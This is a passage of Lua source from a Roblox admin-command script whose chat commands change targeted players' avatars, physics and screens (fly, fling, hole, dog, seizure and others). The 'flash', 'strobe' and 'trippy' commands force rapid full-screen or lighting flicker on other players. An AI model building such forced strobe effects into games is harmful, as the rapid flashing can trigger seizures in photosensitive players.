- cl.Position = UDim2.new(0,0,0,num*20)
- cmf.CanvasSize=UDim2.new(0,0,0,20*#cmf:children())
- num = num +1
- end
- end
- if msg:lower():sub(1,9) == 'stickify ' then
- local plrz = set.GetPlayers(plr, msg:lower():sub(10))
- for kay, player in pairs(plrz) do
- coroutine.wrap(function()
- local Self = player
- m = Self.Character
- for i,v in pairs(m:GetChildren()) do
- if v:IsA ("Part") then
- local s = Instance.new("SelectionPartLasso")
- s.Parent = m.Torso
- s.Part = v
- s.Humanoid = m.Humanoid
- s.Color = BrickColor.new(0,0,0)
- v.Transparency = 1
- m.Head.Transparency = 0
- m.Head.Mesh:Remove()
- local b = Instance.new("SpecialMesh")
- b.Parent = m.Head
- b.MeshType = "Sphere"
- b.Scale = Vector3.new(.5,1,1)
- m.Head.BrickColor = BrickColor.new("Black")
- else
- end
- end
- end)()
- end
- end
- if msg:lower():sub(1,5) == 'hole ' then
- local plrz = set.GetPlayers(plr, msg:lower():sub(6))
- for kay, player in pairs(plrz) do
- coroutine.wrap(function()
- local Self=player
- local Tor
- if pcall(function() Tor = Self.Character.Torso end) then
- local Hole = Instance.new("Part",Self.Character)
- Hole.Anchored = true
- Hole.CanCollide = false
- Hole.formFactor = Enum.FormFactor.Custom
- Hole.Size = Vector3.new(10,1,10)
- Hole.CFrame = Tor.CFrame * CFrame.new(0,-3.3,-3)
- Hole.BrickColor = BrickColor.new("Really black")
- local HoleM = Instance.new("CylinderMesh",Hole)
- Tor.Anchored = true
- local Foot = Tor.CFrame * CFrame.new(0,-3,0)
- local Func = coroutine.create(function()
- for i=1,10 do
- Tor.CFrame = Foot * CFrame.fromEulerAnglesXYZ(-(math.pi/2)*i/10,0,0) * CFrame.new(0,3,0)
- wait()
- end
- for i=1,5,0.2 do
- Tor.CFrame = Foot * CFrame.new(0,-(i^2),0) * CFrame.fromEulerAnglesXYZ(-(math.pi/2),0,0) * CFrame.new(0,3,0)
- wait()
- end
- pcall(function() Self.Character.Humanoid.Health = 0 end)
- end)
- coroutine.resume(Func)
- end
- end)()
- end
- end
- if msg:lower():sub(1,4) == "fly " then
- local plrz = set.GetPlayers(plr, msg:lower():sub(5))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v then
- set.LoadOnClient(v,[[repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer.Character:findFirstChild("Humanoid")
- local mouse = game.Players.LocalPlayer:GetMouse()
- repeat wait() until mouse
- local plr = game.Players.LocalPlayer
- local torso = plr.Character.Torso
- local flying = true
- local deb = true
- local ctrl = {f = 0, b = 0, l = 0, r = 0}
- local lastctrl = {f = 0, b = 0, l = 0, r = 0}
- local maxspeed = 50
- local speed = 0
- function Fly()
- local bg = Instance.new("BodyGyro", torso)
- bg.P = 9e4
- bg.maxTorque = Vector3.new(9e9, 9e9, 9e9)
- bg.cframe = torso.CFrame
- local bv = Instance.new("BodyVelocity", torso)
- bv.velocity = Vector3.new(0,0.1,0)
- bv.maxForce = Vector3.new(9e9, 9e9, 9e9)
- repeat wait()
- plr.Character.Humanoid.PlatformStand = true
- if ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0 then
- speed = speed+.5+(speed/maxspeed)
- if speed > maxspeed then
- speed = maxspeed
- end
- elseif not (ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0) and speed ~= 0 then
- speed = speed-1
- if speed < 0 then
- speed = 0
- end
- end
- if (ctrl.l + ctrl.r) ~= 0 or (ctrl.f + ctrl.b) ~= 0 then
- bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (ctrl.f+ctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(ctrl.l+ctrl.r,(ctrl.f+ctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed
- lastctrl = {f = ctrl.f, b = ctrl.b, l = ctrl.l, r = ctrl.r}
- elseif (ctrl.l + ctrl.r) == 0 and (ctrl.f + ctrl.b) == 0 and speed ~= 0 then
- bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (lastctrl.f+lastctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(lastctrl.l+lastctrl.r,(lastctrl.f+lastctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed
- else
- bv.velocity = Vector3.new(0,0.1,0)
- end
- bg.cframe = game.Workspace.CurrentCamera.CoordinateFrame * CFrame.Angles(-math.rad((ctrl.f+ctrl.b)*50*speed/maxspeed),0,0)
- until not flying
- ctrl = {f = 0, b = 0, l = 0, r = 0}
- lastctrl = {f = 0, b = 0, l = 0, r = 0}
- speed = 0
- bg:Destroy()
- bv:Destroy()
- plr.Character.Humanoid.PlatformStand = false
- end
- mouse.KeyDown:connect(function(key)
- if key:lower() == "e" then
- if flying then flying = false
- else
- flying = true
- Fly()
- end
- elseif key:lower() == "w" then
- ctrl.f = 1
- elseif key:lower() == "s" then
- ctrl.b = -1
- elseif key:lower() == "a" then
- ctrl.l = -1
- elseif key:lower() == "d" then
- ctrl.r = 1
- end
- end)
- mouse.KeyUp:connect(function(key)
- if key:lower() == "w" then
- ctrl.f = 0
- elseif key:lower() == "s" then
- ctrl.b = 0
- elseif key:lower() == "a" then
- ctrl.l = 0
- elseif key:lower() == "d" then
- ctrl.r = 0
- end
- end)
- Fly()]],false,'FlyScript')
- end
- end))
- end
- end
- if msg:lower():sub(1,6) == "unfly " then
- local plrz = set.GetPlayers(plr, msg:lower():sub(7))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
- for a, q in pairs(v.PlayerGui:children()) do if q.Name == GuiName.."FlyScript" then q:Destroy() end end
- for a, q in pairs(v.Character.Torso:children()) do if q.Name == "BodyGyro" or q.Name == "BodyVelocity" then q:Destroy() end end
- wait(.1) v.Character.Humanoid.PlatformStand = false
- end
- end))
- end
- end
- if msg:lower() == "disco" then
- set.lighttask=false
- wait(0.5)
- coroutine.wrap(function()
- set.lighttask = true
- repeat
- if set.lighttask==false then return end
- local color = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255)
- game:service('Lighting').Ambient = color
- game:service('Lighting').OutdoorAmbient = color
- game:service('Lighting').FogColor = color
- wait(0.1)
- until set.lighttask==false
- end)()
- end
- if msg:lower() == "flash" then
- set.lighttask=false
- wait(0.5)
- coroutine.wrap(function()
- set.lighttask=true
- repeat
- if set.lighttask==false then return end
- game:service('Lighting').Ambient = Color3.new(1,1,1)
- game:service('Lighting').OutdoorAmbient = Color3.new(1,1,1)
- game:service('Lighting').FogColor = Color3.new(1,1,1)
- game:service('Lighting').Brightness = 1
- game:service('Lighting').TimeOfDay = 14
- wait(0.1)
- game:service('Lighting').Ambient = Color3.new(0,0,0)
- game:service('Lighting').OutdoorAmbient = Color3.new(0,0,0)
- game:service('Lighting').FogColor = Color3.new(0,0,0)
- game:service('Lighting').Brightness = 0
- game:service('Lighting').TimeOfDay = 0
- wait(0.1)
- until set.lighttask==false
- end)()
- end
- if msg:lower():sub(1,5) == "spin " then
- local plrz = set.GetPlayers(plr, msg:lower():sub(6))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Torso") then
- for i,v in pairs(v.Character.Torso:children()) do if v.Name == "SPINNER" then v:Destroy() end end
- local torso = v.Character:findFirstChild("Torso")
- local bg = Instance.new("BodyGyro", torso) bg.Name = "SPINNER" bg.maxTorque = Vector3.new(0,math.huge,0) bg.P = 11111 bg.cframe = torso.CFrame table.insert(set.objects,bg)
- repeat wait(1/44) bg.cframe = bg.cframe * CFrame.Angles(0,math.rad(30),0)
- until not bg or bg.Parent ~= torso
- end
- end))
- end
- end
- if msg:lower():sub(1,7) == "unspin " then
- local plrz = set.GetPlayers(plr, msg:lower():sub(8))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Torso") then
- for a,q in pairs(v.Character.Torso:children()) do if q.Name == "SPINNER" then q:Destroy() end end
- end
- end))
- end
- end
- if msg:lower():sub(1,4) == "dog " then
- local plrz = set.GetPlayers(plr, msg:lower():sub(5))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Torso") then
- if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
- if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
- v.Character.Torso.Transparency = 1
- v.Character.Torso.Neck.C0 = CFrame.new(0,-.5,-2) * CFrame.Angles(math.rad(90),math.rad(180),0)
- v.Character.Torso["Right Shoulder"].C0 = CFrame.new(.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(90),0)
- v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(-90),0)
- v.Character.Torso["Right Hip"].C0 = CFrame.new(1.5,-1,1.5) * CFrame.Angles(0,math.rad(90),0)
- v.Character.Torso["Left Hip"].C0 = CFrame.new(-1.5,-1,1.5) * CFrame.Angles(0,math.rad(-90),0)
- local new = Instance.new("Seat", v.Character) new.Name = "FAKETORSO" new.formFactor = "Symmetric" new.TopSurface = 0 new.BottomSurface = 0 new.Size = Vector3.new(3,1,4) new.CFrame = v.Character.Torso.CFrame
- local bf = Instance.new("BodyForce", new) bf.force = Vector3.new(0,new:GetMass()*196.25,0)
- local weld = Instance.new("Weld", v.Character.Torso) weld.Part0 = v.Character.Torso weld.Part1 = new weld.C0 = CFrame.new(0,-.5,0)
- for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Brown") elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Brown") end end
- end
- end))
- end
- end
- if msg:lower():sub(1,6) == "undog " then
- local plrz = set.GetPlayers(plr, msg:lower():sub(7))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Torso") then
- if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
- if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
- v.Character.Torso.Transparency = 0
- v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
- v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
- v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
- v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
- v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
- for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
- end
- end))
- end
- end
- if msg:lower():sub(1,8) == "creeper " then
- local plrz = set.GetPlayers(plr, msg:lower():sub(9))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Torso") then
- if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
- if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
- v.Character.Torso.Transparency = 0
- v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
- v.Character.Torso["Right Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(90),0)
- v.Character.Torso["Left Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(-90),0)
- v.Character.Torso["Right Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(90),0)
- v.Character.Torso["Left Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(-90),0)
- for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Bright green") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Bright green") end end
- end
- end))
- end
- end
- if msg:lower():sub(1,10) == "uncreeper " then
- local plrz = set.GetPlayers(plr, msg:lower():sub(11))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Torso") then
- if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
- if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
- v.Character.Torso.Transparency = 0
- v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
- v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
- v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
- v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
- v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
- for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
- end
- end))
- end
- end
- if msg:lower():sub(1,8) == "bighead " then
- local plrz = set.GetPlayers(plr, msg:lower():sub(9))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(3,3,3) v.Character.Torso.Neck.C0 = CFrame.new(0,1.9,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
- end))
- end
- end
- if msg:lower():sub(1,9) == "minihead " then
- local plrz = set.GetPlayers(plr, msg:lower():sub(10))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(.75,.75,.75) v.Character.Torso.Neck.C0 = CFrame.new(0,.8,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
- end))
- end
- end
- if msg:lower():sub(1,6) == "fling " then
- local plrz = set.GetPlayers(plr, msg:lower():sub(7))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
- local xran local zran
- repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
- repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
- v.Character.Humanoid.Sit = true v.Character.Torso.Velocity = Vector3.new(0,0,0)
- local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
- end
- end))
- end
- end
- if msg:lower():sub(1,8) == "seizure " then
- local plrz = set.GetPlayers(plr, msg:lower():sub(9))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character then
- v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(math.rad(90),0,0)
- set.LoadScript('LocalScript',[[char=game.Players.LocalPlayer.Character; repeat wait() char.Humanoid.PlatformStand = true char.Torso.Velocity = Vector3.new(math.random(-10,10),-5,math.random(-10,10)) char.Torso.RotVelocity = Vector3.new(math.random(-5,5),math.random(-5,5),math.random(-5,5)) until nil]],"SeizureBase",true,v.PlayerGui)
- end
- end))
- end
- end
- if msg:lower():sub(1,10) == "unseizure " then
- local plrz = set.GetPlayers(plr, msg:lower():sub(11))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.PlayerGui then
- for i,v in pairs(v.PlayerGui:children()) do if v.Name == "SeizureBase" then v:Destroy() end end
- wait(.1) v.Character.Humanoid.PlatformStand = false
- end
- end))
- end
- end
- if msg:lower():sub(1,12) == "removelimbs " then
- local plrz = set.GetPlayers(plr, msg:lower():sub(13))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character then
- for a, obj in pairs(v.Character:children()) do
- if obj:IsA("BasePart") and (obj.Name:find("Leg") or obj.Name:find("Arm")) then obj:Destroy() end
- end
- end
- end))
- end
- end
- if msg:lower():sub(1,5) == "name " then
- local chk1 = msg:lower():sub(6):find(" ") + 5
- local plrz = set.GetPlayers(plr, msg:lower():sub(6,chk1-1))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Head") then
- for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
- local char = v.Character
- local mod = Instance.new("Model", char) mod.Name = msg:sub(chk1+1)
- local cl = char.Head:Clone() cl.Parent = mod local hum = Instance.new("Humanoid", mod) hum.Name = "NameTag" hum.MaxHealth = 0 hum.Health = 0
- cl.CanCollide=false
- local weld = Instance.new("Weld", cl) weld.Part0 = cl weld.Part1 = char.Head
- char.Head.Transparency = 1
- end
- end))
- end
- end
- if msg:lower():sub(1,7) == "unname " then
- local plrz = set.GetPlayers(plr, msg:lower():sub(8))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Head") then
- for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
- end
- end))
- end
- end
- if msg:lower():sub(1,5) == "char " then
- local chk1 = msg:lower():sub(6):find(" ") + 5
- local plrz = set.GetPlayers(plr, msg:lower():sub(6,chk1-1))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character then
- v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. msg:sub(chk1+1)
- v:LoadCharacter()
- end
- end))
- end
- end
- if msg:lower():sub(1,7) == "unchar " then
- local plrz = set.GetPlayers(plr, msg:lower():sub(8))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character then
- v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. v.userId
- v:LoadCharacter()
- end
- end))
- end
- end
- if msg:lower():sub(1,7) == "infect " then
- local plrz = set.GetPlayers(plr, msg:lower():sub(8))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character then
- set.Infect(v.Character)
- end
- end))
- end
- end
- if msg:lower():sub(1,11) == "rainbowify " then
- local plrz = set.GetPlayers(plr, msg:lower():sub(12))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Torso") then
- if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
- if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
- for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
- set.LoadScript('LocalScript',[[repeat wait(0.1) local clr = BrickColor.random() for i, v in pairs(game.Players.LocalPlayer.Character:children()) do if v:IsA("BasePart") and v.Name~='HumanoidRootPart' and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = clr v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = clr v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]],'ify',true,v.PlayerGui)
- end
- end))
- end
- end
- if msg:lower():sub(1,9) == "flashify " then
- local plrz = set.GetPlayers(plr, msg:lower():sub(10))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Torso") then
- if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
- if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
- for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
- set.LoadScript('LocalScript',[[repeat wait(0.1) for i, v in pairs(game.Players.LocalPlayer.Character:children()) do if v:IsA("BasePart") and v.Name~='HumanoidRootPart' and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Institutional white") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Institutional white") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end wait(1/44) for i, v in pairs(game.Players.LocalPlayer.Character:children()) do if v:IsA("BasePart") and v.Name~='HumanoidRootPart' and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Really black") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Really black") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]],'ify',true,v.PlayerGui)
- end
- end))
- end
- end
- if msg:lower():sub(1,8) == "noobify " then
- local plrz = set.GetPlayers(plr, msg:lower():sub(9))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character then
- set.Noobify(v.Character)
- end
- end))
- end
- end
- if msg:lower():sub(1,9) == "ghostify " then
- local plrz = set.GetPlayers(plr, msg:lower():sub(10))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Torso") then
- set.LoadOnClient(v,[[
- game:GetService("RunService").Stepped:connect(function()
- pcall(function()
- game.Players.LocalPlayer.Character.Torso.CanCollide = false
- game.Players.LocalPlayer.Character.Head.CanCollide = false
- game.Players.LocalPlayer.Character.HumanoidRootPart.CanCollide = false
- if game.Players.LocalPlayer.Character:FindFirstChild('Head') then
- for i,v in pairs(game.Player.LocalPlayer.Character.Head:children()) do
- if v and v:IsA('Part') then v.CanCollide=false end
- end
- end
- end)
- end)]],false,'Ghost')
- if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
- if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
- for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
- for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
- prt.Transparency = .5 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Institutional white")
- if prt.Name:find("Leg") then prt.Transparency = 1 end
- elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = .5 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Institutional white")
- end end
- end
- end))
- end
- end
- if msg:lower():sub(1,8) == "goldify " then
- local plrz = set.GetPlayers(plr, msg:lower():sub(9))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Torso") then
- if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
- if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
- for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
- for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and prt.Name~='HumanoidRootPart' and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
- prt.Transparency = 0 prt.Reflectance = .4 prt.BrickColor = BrickColor.new("Bright yellow")
- elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = .4 prt.Head.BrickColor = BrickColor.new("Bright yellow")
- end end
- end
- end))
- end
- end
- if msg:lower():sub(1,6) == "shiny " then
- local plrz = set.GetPlayers(plr, msg:lower():sub(7))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Torso") then
- if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
- if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
- for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
- for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and prt.Name~='HumanoidRootPart' and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
- prt.Transparency = 0 prt.Reflectance = 1 prt.BrickColor = BrickColor.new("Institutional white")
- elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 1 prt.Head.BrickColor = BrickColor.new("Institutional white")
- end end
- end
- end))
- end
- end
- if msg:lower():sub(1,7) == "normal " then
- local plrz = set.GetPlayers(plr, msg:lower():sub(8))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Torso") then
- if v.Character:findFirstChild("Head") then v.Character.Head.Mesh.Scale = Vector3.new(1.25,1.25,1.25) end
- if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
- if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
- v.Character.Torso.Transparency = 0
- v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
- v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
- v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
- v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
- v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
- for a, sc in pairs(v.PlayerGui:children()) do if sc.Name == "ify" then sc:Destroy() end end
- for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
- prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("White")
- if prt.Name == "FAKETORSO" then prt:Destroy() end
- if prt.Name == 'HumanoidRootPart' then prt.Transparency=1 end
- elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("White")
- end end
- end
- end))
- end
- end
- if msg:lower():sub(1,7) == "trippy " then
- if set['FilteringEnabled'] then return end
- local plrz = set.GetPlayers(plr, msg:lower():sub(8))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v:findFirstChild("PlayerGui") and set.ChkTrueOwner(plr) or not set.ChkAdmin(v.Name, false) then
- for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == GuiName.."EFFECTGUI" then g:Destroy() end end
- local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = GuiName.."EFFECTGUITRIPPY"
- local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
- set.LoadScript('LocalScript',[[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255) until nil]],math.random(),true,scr)
- end
- end))
- end
- end
- if msg:lower():sub(1,9) == "untrippy " then
- local plrz = set.GetPlayers(plr, msg:lower():sub(10))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v:findFirstChild("PlayerGui") then
- for a, g in pairs(v.PlayerGui:children()) do if g.Name == GuiName.."EFFECTGUITRIPPY" then g:Destroy() end end
- end
- end))
- end
- end
- if msg:lower():sub(1,7) == "strobe " then
- if set['FilteringEnabled'] then return end
- local plrz = set.GetPlayers(plr, msg:lower():sub(8))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v:findFirstChild("PlayerGui") and set.ChkTrueOwner(plr) or not set.ChkAdmin(v.Name, false) then
- for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == GuiName.."EFFECTGUI" then g:Destroy() end end
- local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = GuiName.."EFFECTGUISTROBE"
- local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
- set.LoadScript('LocalScript',[[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(1,1,1) wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(0,0,0) until nil]],math.random(),true,scr)
- end
- end))
- end
- end
- if msg:lower():sub(1,9) == "unstrobe " then
- local plrz = set.GetPlayers(plr, msg:lower():sub(10))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v:findFirstChild("PlayerGui") then
- for a, g in pairs(v.PlayerGui:children()) do if g.Name == GuiName.."EFFECTGUISTROBE" then g:Destroy() end end
- end
- end))
- end
- end
